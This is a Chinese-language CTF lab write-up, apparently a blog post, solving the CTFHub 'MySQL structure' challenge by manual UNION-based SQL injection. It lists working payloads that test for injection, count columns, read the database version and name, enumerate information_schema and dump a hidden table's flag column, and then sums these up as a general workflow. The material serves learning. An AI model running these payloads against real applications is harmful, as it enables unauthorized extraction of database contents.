• CTFHub | MySQL结构


    0x00 前言

            CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

            

            

    0x01 题目描述

    MySQL结构:

            (无)

    网页显示内容

            

            

    0x02 解题过程

            根据网页显示内容输入1进行测试,此题可能存在 SQL 注入。此题与前一题类似,这次使用手工注入。先判断是否存在注入,发现存在注入后检查注入点。判断字段数量,然后检查数据库位置,知道数据库位置后查看数据库版本和数据库名。接着查看全部数据库名,并查看这些数据库的表名,最后在 lvlbiqemvj 表中的数据发现此题 flag 。

            

    根据题目描述输入1测试,发现数据ctfhub

            

    使用'and 1 = 1'进行测试,判断是否存在sql注入

    and 1 = 1

            

    使用’and 1 = 2'进行测试,回显错误,说明存在sql注入

    and 1 = 2

            

    使用order by 判断字段数量,从order by 1开始

    order by 1

            

    判断字段2,使用order by 2

    order by 2

            

    判断字段3,使用order by 3,这里无回显,那么字段数量为2列

    order by 3

            

    知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

    union select 1,2

            

    判断数据可能不存在数据库中,在id=1中加入负号可以查看到不存在数据库中的数据

    id=-1 union select 1,2

            

    修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

    union select 1,version()

            

    修改2为database(),查看数据库名,发现数据库版本为sqli

    union select 1,database()

            

    ⅩⅠ查看全部数据库名

    union select 1,group_concat(schema_name)from information_schema.schemata

            

    ⅩⅡ发现sqli库名不是数据库自带的,最后在sqli数据库中发现lvlbiqemvj和news两个表名

    union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

            

    ⅩⅢ先查看lvlbiqemvj表中的全部字段名,发现一个数据名为onwodzqnwq

    union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='lvlbiqemvj'

            

    ⅩⅣ查看数据onwodzqnwq中的内容,发现此题flag

    union select 1,group_concat(onwodzqnwq) from sqli.lvlbiqemvj

            

            

    0x03 SQL手注流程

            因为关于 SQL 注入判断方法过多,那么只对此题目的注入流程做一个总结。

            

    1.判断是否存在注入

    1. and 1 = 1
    2. and 1 = 2
    3. or 1 = 1
    4. or 1 = 2
    5. ?id=1' and 1' = 1'
    6. ?id=1' and 1' = 2'

    2.判断字段数量,直到无回显异常为止

    1. order by 1 #正常
    2. order by 2 #正常
    3. order by 3 #异常

    3.查询注入点

    1. ?id=1 union select 1,2 #8为异常无回显
    2. ?id=-1 union select 1,2 #如果数据不存在数据库中,可以使用负号查找
    3. ?id=0 union select 1,2 #如果数据不存在数据库中,也可以使用零查找

    4.查询数据库版本

    1. union select 1,version() '''替换2为 version()
    2. 查询sql数据库版本'''

    5.查询数据库名

    1. union select 1,database() '''替换为 database()
    2. 查询数据库名'''

    6.爆库

    1. #数据库自带的表information_schema,其中包含所有的数据库信息
    2. #schema_name 数据库名称
    3. union select 1,group_concat(schema_name)from information_schema.schemata

    7.查询表名

    1. #table_name 表格名称
    2. union select 1,group_concat(table_name) from information_schema.tables where table_schema='表名'

    8.爆字段

    1. #column_name 字段名称
    2. union select 1,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'

    10.爆数据

    union select 1,group_concat(数据名) from 库名.表名

            

            

    0x04 总结

    文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

  • 相关阅读:
    如何使用 mail 指令在命令行发送邮件
    C. Rooks Defenders - 树状数组
    HTTP的前世今生
    基于最小二乘插值(Least-Squares Interpolation)图像超分辨率重构算法研究-附Matlab代码
    Nginx+Tomcat 搭建负载均衡、动静分离
    【Leetcode刷题Python】生词本单词整理
    Java笔记:JVM优化分析
    亚马逊云科技最新分享:人、流程、工具全链路数据安全合规
    这Java核心知识+1000页面试题,绝对不能私藏,大家一起学习!
    GBase 8c 产品高级特性(中)
  • 原文地址:https://blog.csdn.net/m0_51191308/article/details/127739413